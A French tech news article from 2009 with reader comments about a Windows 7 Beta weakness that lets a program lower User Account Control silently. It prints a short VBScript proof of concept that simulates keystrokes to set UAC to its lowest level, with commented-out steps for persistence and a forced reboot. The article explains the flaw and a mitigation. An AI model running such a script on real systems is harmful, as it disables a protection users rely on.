Windows 7 Beta : l'utilisation plus souple de l'UAC provoque une faille...
Christophe Lavalle
Lundi 02 février 2009, 18:29
Lundi 02 février 2009, 18:29
(12)
Dans la version Beta de Windows 7, nous avons pu découvrir que l'UAC - User Account Control (contrôle de compte utilisateur) - était beaucoup moins intrusif que dans son prédécesseur Windows Vista. Ce changement fait toutefois apparaître une faille de sécurité...
Pour rappel, l'UAC permet de protéger le système lors d'une modification majeure telle que l'installation d'une application, d'un module, d'une modification de paramètres systèmes (y compris la base de registre)... Une alerte bloquant l'utilisation de l'ordinateur est alors affichée et l'utilisateur doit autoriser ou refuser la modification.
Cette alerte présente les informations suivantes :
Dans le but d'être réceptif aux arguments suivants des utilisateurs : "les utilisateurs ne comprennent pas cette mesure" et « l'UAC a tendance à demander l'autorisation un peu trop souvent", Microsoft a alor » instauré dans Windows 7 une nouvelle graduation dans la configuration de l'UAC.
Ce mode intermédiaire permet de n'afficher des alertes en bureau sécurisé uniquement lors de l'installation d'applications. Lors de la modification de paramètres système, il y a deux cas de figure :
En conclusion, un malware peut donc obtenir les droits d'administrateur très facilement et ce en quelques lignes de code.
Les testeurs ont bien entendu remonté l'information au plus vite mais, se sont retrouvés face à une situation étrange. La réponse de Microsoft fut que ce bug est un choix de conception. Autrement dit, ce bug n'est pas un bug car la situation émane d'un choix délibéré de l'éditeur.
Pour le moment, il suffit de mettre le niveau de protection dans le panneau de configuration de l'UAC au maximum. Son fonctionnement sera alors semblable à celui de Windows Vista avec le niveau de sécurité qui l'accompagne.
Nul doute que Microsoft devrait revoir sa stratégie sur ce point de sécurité qui semble avant tout un oubli dans les scénario de tests de la firme de Redmond...
Pour rappel, l'UAC permet de protéger le système lors d'une modification majeure telle que l'installation d'une application, d'un module, d'une modification de paramètres systèmes (y compris la base de registre)... Une alerte bloquant l'utilisation de l'ordinateur est alors affichée et l'utilisateur doit autoriser ou refuser la modification.
Cette alerte présente les informations suivantes :
- auteur du logiciel ou de la tentative de modification de paramètres systèmes
- si le logiciel qui s'exécute est signé ou pas (couleur de l'alerte différente)
- le nom du programme
- l'icône du programme
Dans le but d'être réceptif aux arguments suivants des utilisateurs : "les utilisateurs ne comprennent pas cette mesure" et « l'UAC a tendance à demander l'autorisation un peu trop souvent", Microsoft a alor » instauré dans Windows 7 une nouvelle graduation dans la configuration de l'UAC.
Ce mode intermédiaire permet de n'afficher des alertes en bureau sécurisé uniquement lors de l'installation d'applications. Lors de la modification de paramètres système, il y a deux cas de figure :
- l'application est signée : on peut demander silencieusement les droits d'administrateur pour l'application
- l'application n'est pas signée : une alerte en mode bureau standard est proposée à l'utilisateur
« et WshShell = WScript.CreateObject("WScript.Shell")
'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)
'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)
'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)
'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")
'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder
'// Reboot the system
'// WshShell.Run « shutdown /r /f »
En conclusion, un malware peut donc obtenir les droits d'administrateur très facilement et ce en quelques lignes de code.
Les testeurs ont bien entendu remonté l'information au plus vite mais, se sont retrouvés face à une situation étrange. La réponse de Microsoft fut que ce bug est un choix de conception. Autrement dit, ce bug n'est pas un bug car la situation émane d'un choix délibéré de l'éditeur.
Pour le moment, il suffit de mettre le niveau de protection dans le panneau de configuration de l'UAC au maximum. Son fonctionnement sera alors semblable à celui de Windows Vista avec le niveau de sécurité qui l'accompagne.
Nul doute que Microsoft devrait revoir sa stratégie sur ce point de sécurité qui semble avant tout un oubli dans les scénario de tests de la firme de Redmond...
Commentaires (12)
mouais, ça la fou mal quand même...
... les risques d'une version Beta. C'est pour cela que Microsoft fait tester son système à des testeurs
(tu voudrais nous enlever notre travail ? )
(tu voudrais nous enlever notre travail ? )
D'accord mais depuis vista ils ont eu le temps non
C'est surtout la réponse, ce n'est pas un bug c'est normal
Mais bon j'aime bien Seven, d'ailleurs je l'utilise régulièrement.
C'est surtout la réponse, ce n'est pas un bug c'est normal
Mais bon j'aime bien Seven, d'ailleurs je l'utilise régulièrement.
Pour la réponse « ce n'est pas un bug", je comprends ton point de vue.
Disons que c'est un bug qui découle d'un choix stratégique. Donc dans ce cas c'est un des effets qui découlent du choix effectué Microsoft. D'ou le fait qu'ils disent que ce n'est pas un bug... mais une conséquence qui était très certainement connue...
Cela n'enlève rien au fait qu'il faut absolument qu'il la corrige et que le fait que l'idée de créer une faille leur soit passée par la tête est totalement navrante et absolument pas normale.
( Ce bug n'est pas présent dans Windows Vista. Donc rien à voir avec Vista. )
Disons que c'est un bug qui découle d'un choix stratégique. Donc dans ce cas c'est un des effets qui découlent du choix effectué Microsoft. D'ou le fait qu'ils disent que ce n'est pas un bug... mais une conséquence qui était très certainement connue...
Cela n'enlève rien au fait qu'il faut absolument qu'il la corrige et que le fait que l'idée de créer une faille leur soit passée par la tête est totalement navrante et absolument pas normale.
( Ce bug n'est pas présent dans Windows Vista. Donc rien à voir avec Vista. )
C'est en quel langage le morceau de code ? J'dirais bien du VB ou du VBScript...
Merci.
Merci.
VBScript
Héhé, ne nous code pas un malware hein !
Héhé, ne nous code pas un malware hein !
Non non, tiens j'viens de tester, ça marque qu'il y a une erreur J'ai encore plein de chose à apprendre. Mais d'après ce que j'ai compris du code, ça pourrait accéder à la console, donc on pourrait faire des petits scripts .
Le code permet que le processus qui exécute le code demande l'obtention des droits d'administrateur. Le script se met deux fois en veille. A chaque fois, il simule des touches au clavier.
La combinaison des touches permet de contourner l'alerte qui est entièrement gérée par le processus étant donné que l'on n'est pas dans un bureau sécurisé. Donc la simulation de touches au claver fonctionne.
La fin du script, qui est en commentaire, permet de mettre en évidence le fait que le processus lance une tâche qu'ilne devrait pas pouvoir lancer en mode normal...
La combinaison des touches permet de contourner l'alerte qui est entièrement gérée par le processus étant donné que l'on n'est pas dans un bureau sécurisé. Donc la simulation de touches au claver fonctionne.
La fin du script, qui est en commentaire, permet de mettre en évidence le fait que le processus lance une tâche qu'ilne devrait pas pouvoir lancer en mode normal...
Haha j'ai enfin réussi à faire démarrer un petit quelque chose (si vous voulez essayer il fait enregistrer en UTF8 sans BOM, c'est pas la première fois que ça m'énerve ce BOM, déjà en PHP). Décider, j'me met au VBScript.
j'ai trouve un liens sur la reponse de microsft a ce sujet
http://www.silicon.fr/fr/news/2009/02/03/faille_de_windows_7___la_reponse_de_microsoft
http://www.silicon.fr/fr/news/2009/02/03/faille_de_windows_7___la_reponse_de_microsoft
lol ? Un malware, faut arrêter là mdr, regardez ce que fait le code svp ... Dans le même genre, pourquoi ne pas faire un « malware » qui bouge la souris et ferme l'antivirus avec un clique droit, .... Non mais je rêve mdr, c'est pas un malware et je comprends la réaction de Microsoft
Ce code est un proof of concept. C'est à dire que ce code est inoffensif. Il permet juste d'illustrer le mécanisme que des codes de type malware peuvent mettre en oeuvre facilement.
Donc prend ce concept appliqué à un code dévastateur pour ton PC. La tu auras peut-être une idée plus précise des problèmes que cela peut amener...
Pour démontrer une faille, nous ne sommes pas obligés de construire le virus/malware qui va avec et qui s'appuit dessus. Nous pouvons juste l'illustrer sur des actions inoffensives.
Donc prend ce concept appliqué à un code dévastateur pour ton PC. La tu auras peut-être une idée plus précise des problèmes que cela peut amener...
Pour démontrer une faille, nous ne sommes pas obligés de construire le virus/malware qui va avec et qui s'appuit dessus. Nous pouvons juste l'illustrer sur des actions inoffensives.
Il n'est plus possible de commenter cette actualité